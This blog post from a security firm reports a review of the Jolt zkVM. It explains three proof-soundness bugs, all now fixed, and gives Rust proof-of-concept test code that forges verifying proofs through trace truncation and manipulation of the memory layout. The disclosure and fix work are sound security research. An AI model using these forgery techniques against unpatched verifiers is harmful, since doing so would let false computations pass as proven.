ZK/SEC Research notes from zkSecurity
All posts
Jolt · Part 2 of 4

Improving the Security of the Jolt zkVM

Jolt zkVM security

Over the past few weeks, zkSecurity took a deep dive into a16z’s Jolt zkVM. This joint effort with a16z aimed to help strengthen the security of their zero-knowledge (ZK) stack. Jolt’s zkVM is positioned to become a key player in the zk space, and security work like this is essential to ensuring it can deliver on its promises.

Through this review, we uncovered several significant bugs. These issues could allow a malicious prover to forge proofs with ease, posing serious risks. While this was not a formal audit, it demonstrates the value of manual inspection in catching critical vulnerabilities.

What's Jolt zkVM?

A zkVM (Zero-Knowledge Virtual Machine) uses zero-knowledge proofs to prove and verify computations in specific ISA (Instruction Set Architecture). Jolt, developed by a16z, is a zkVM designed for the RISC-V architecture. It enables programs written in high-level languages like Rust, C, and C++ (compiled to RISC-V assembly) to be efficiently proven by an untrusted prover and succinctly verified by anyone.

To prove a program, Jolt first compiles the program into RISC-V assembly binary and executes the binary to get an execution trace. Then the main work is to prove that the execution trace is valid. At a high level, the proof involves with three parts:

  1. Instruction lookup to prove the execution of each instruction

  2. Offline memory checking to ensure the read/write of memory are consistent.

  3. R1CS constraints to "glue" each part of the execution like the program counter (PC) update.

The instruction lookup is what makes Jolt unique (Jolt stands for "just one single lookup"). Unlike other zkVMs that rely on custom constraints for each instruction, Jolt uses Lasso lookup technique for all instruction execution. This approach not only improves prover efficiency but also significantly reduces the system's complexity. As a result, Jolt offers better auditability and extensibility, making it easier to maintain and scale. For more details, we will have a blog post about how Jolt works. Stay tuned for updates!

Our Findings

Our review uncovered several key security flaws in the implementation of Jolt zkVM.

Truncated execution trace can still be valid

The Jolt verifier is basically checking the correctness of each step in the fetch-decode-execute cycle. If every step in the execution trace is correct, the entire computation is considered valid. However, the verifier does not check whether the execution eventually terminates. As a result, if a valid execution trace is truncated before completion, the verifier will validate the individual steps and still consider the trace to be valid, even though the computation is incomplete. In such cases, the output will be incorrect, as the memory containing the final output might not have been written. This vulnerability allows a prover to forge a proof using a truncated trace and incorrect outputs.

To exploit this bug, we can truncate a valid trace and set the output to 0, and the proof will still be considered valid. The example below creates a fake proof for fib(9) = 0:

    fn fib_e2e<F: JoltField, PCS: CommitmentScheme<Field = F>>() {
        let artifact_guard = FIB_FILE_LOCK.lock().unwrap();
        let mut program = host::Program::new("fibonacci-guest");
        program.set_input(&9u32);
        let (bytecode, memory_init) = program.decode();
        let (mut io_device, mut trace) = program.trace();

        println!("origin trace length {}", trace.len());
        trace.truncate(100); // truncate the trace
        println!("truncated trace length {}", trace.len());
        io_device.outputs[0] = 0; // change the output to 0
        drop(artifact_guard);

        let preprocessing =
            RV32IJoltVM::preprocess(bytecode.clone(), memory_init, 1 << 20, 1 << 20, 1 << 20);
        let (proof, commitments, debug_info) =
            <RV32IJoltVM as Jolt<F, PCS, C, M>>::prove(io_device, trace, preprocessing.clone());
        let verification_result =
            RV32IJoltVM::verify(preprocessing, proof, commitments, debug_info);
        assert!(
            verification_result.is_ok(),
            "Verification failed with error: {:?}",
            verification_result.err()
        );
    }

The jolt team has fixed this issue by providing the termination bit. A successfully terminated program will set the termination bit to 1. The verifier now will always check if the program terminated or panicked.

Output check is not constrained as expected

A key part of the Jolt verifier is to check if the purported program output is consistent with the execution output. Jolt uses the OutputSumcheckProof component for that. It checks if the output data is equal to the final memory value at specific addresses.

To do that, Jolt introduces a 'mask' polynomial mask_poly which evaluates to 1 at the address of input/output and to 0 at other places. Then, it checks mask_poly * (final_memory_value_poly - input_output_value_poly) = 0. However, due to oversight, the mask_poly is incorrectly constructed to a zero polynomial. This makes that arbitrary input_output_value_poly will pass the check. This means the output check is not working and arbitrary output will pass the check.

Besides, we identified in the verifier, the mask_poly and input_output_value_poly are evaluated to incorrect values. It's due to the first bug that this bug is not caught in the test.

Our pull request has been merged to fix this issue.

Prover can use arbitrary memory layout

To perform offline memory checking, Jolt treats registers, program I/O, and RAM as a single address space mapped within the memory_layout. The structure of this memory layout is fixed, although the sizes of the program I/O and RAM may vary depending on the program.

Since the memory layout only needs to be constructed once, the verifier can treat it as preprocessing material. However, the previous implementation includes the memory layout as part of the proof. This way, it allows malicious prover to be able to set the memory address at will.

To exploit this bug, prover can to set the memory address of the termination bit and output to match the input's address. This ensures those values will always mirror the input, which is in prover's control, while still maintaining a valid proof:

fn forge_memory_layout() {
    let artifact_guard = FIB_FILE_LOCK.lock().unwrap();
    let mut program = host::Program::new("fibonacci-guest");
    program.set_input(&[1u8]);
    let (bytecode, memory_init) = program.decode();
    let (mut io_device, mut trace) = program.trace();
    // trace needs to be truncated 
    // to ensure our output is not overwritten by the program
    trace.truncate(100);

    // first index of the input needs to be 1
    // to make termination bit equal true
    // due to the fix of the first bug
    io_device.inputs = (&[1, 3, 3, 7]).to_vec();

    // change the output to the same as input
    io_device.outputs = (&[1, 3, 3, 7]).to_vec();
    drop(artifact_guard);

    // change memory address of output & termination bit to the same address as input
    io_device.memory_layout.output_start = io_device.memory_layout.input_start;
    io_device.memory_layout.output_end = io_device.memory_layout.input_end;
    io_device.memory_layout.termination = io_device.memory_layout.input_start;

    let preprocessing =
        RV32IJoltVM::preprocess(bytecode.clone(), memory_init, 1 << 20, 1 << 20, 1 << 20);
    let (proof, commitments, debug_info) = <RV32IJoltVM as Jolt<
        Fr,
        HyperKZG<Bn254, KeccakTranscript>,
        C,
        M,
        KeccakTranscript,
    >>::prove(
        io_device, trace, preprocessing.clone()
    );
    let verification_result =
        RV32IJoltVM::verify(preprocessing, proof, commitments, debug_info);
    assert!(
        verification_result.is_ok(),
        "Verification failed with error: {:?}",
        verification_result.err()
    );
}

Additionally, the prover can also modify the panic bit to forge panicked program to unpanicked one.

The jolt team fixed this issue by moving memory_layout to the preprocessing material, ensuring it is independent of the prover's input.

Summary

This joint effort with the Jolt team uncovered several critical vulnerabilities in Jolt zkVM, such as issues with execution trace validation, output checking, and memory layout constraints. These bugs, now fixed, could have allowed malicious provers to bypass verification.

This work highlights the importance of audits in zkVMs, where deep tech stacks can mask critical issues. As zkVM technology evolves, we'll continue examining Jolt and zkVM security, sharing insights to help strengthen these innovative systems.

Keep reading
Recommended

Faster Sumchecks: Part I

In this blog post, we explore how to optimize the sumcheck protocol, particularly when working with values in a small field and randomness from a large field, as often needed in zkVMs. We introduce various algorithms aimed at reducing expensive operations, focusing on minimizing large multiplications. Starting from using simple evaluation tables to more sophisticated techniques like precomputing accumulators and leveraging Lagrange interpolation, we demonstrate how to efficiently organize computations to speed up proving times. Readers will gain insights into handling arithmetic operations within the sumcheck protocol and learn about optimizing specific cases in zero-knowledge proofs.

Jason Park · November 21, 2025

WE-KZG: Encrypt to KZG.

Ever wondered if you could create a ciphertext that's only decrypted when a polynomial inside a commitment has a particular value? We’ve explored this notion using KZG commitments in our latest Asiacrypt 2024 paper. Dive into the elegant world of Witness Encryption and see how it can be applied in cool ways like Laconic Oblivious Transfer. This approach keeps things as efficient as regular KZG operations and might just spark some creative applications of your own! Curious to learn more? Let’s explore together!

Mathias Hall-Andersen · October 08, 2024

Powers-of-Funbenius

A one-character repeated-squaring bug in Inferno's Limbo implementation turns the intended random polynomial check into a linearized Frobenius check over a binary extension field. This post walks through why the usual Schwartz-Zippel argument disappears, how periodicity of the Frobenius map makes collisions immediate after 64 multiplication gates, and how even smaller circuits can cheat with noticeably higher probability.

Mathias Hall-Andersen · May 05, 2026
More to explore

Become a Halo2 Hero: Master Zero-Knowledge Proofs with Our New Course

We're teaming up with the Zircuit team to bring you a new course on Halo2 development that's perfect for Rust developers eager to dive into creating Halo2 circuits from scratch. No need to be a cryptographer or have prior knowledge of Halo2, PlonK, or zkSNARKs. Our course starts with the basics and guides you through building increasingly complex circuits. By the end, you'll be a Halo Hero! Plus, you'll have access to complete, runnable code examples on GitHub. Ready to start your Halo2 journey? Check it out!

Mathias Hall-Andersen · November 14, 2024

Playing with LaBRADOR: Building Compact Lattice-based Proofs with Recursion

In this post, we explore LaBRADOR, a transparent, lattice-based proof system that achieves sublinear proof sizes through recursion. Built on the Module-SIS assumption, LaBRADOR lets a prover efficiently demonstrate knowledge of short vectors satisfying dot product constraints, general enough to express R1CS. The protocol’s key ideas include amortized openings, outer commitments, and a strategy to shrink the witness after each round of recursion. Together, these techniques make LaBRADOR a powerful, scalable framework for post-quantum zero-knowledge proofs.

Georgios Raikos · November 13, 2025

Common Circom Pitfalls and How to Dodge Them, Part 1

Programming in Circom comes with its fair share of challenges. After reviewing numerous Circom codebases, we’ve identified certain anti-patterns that occur frequently. In this series, we’ll provide a comprehensive overview of these issues to help you avoid the most common pitfalls. Of course, this won’t be a complete list of every mistake possible (Circom has plenty of ways to trip you up). But the footguns we’ll cover are the ones that tend to catch developers off guard the most.

Marco Besier · June 24, 2025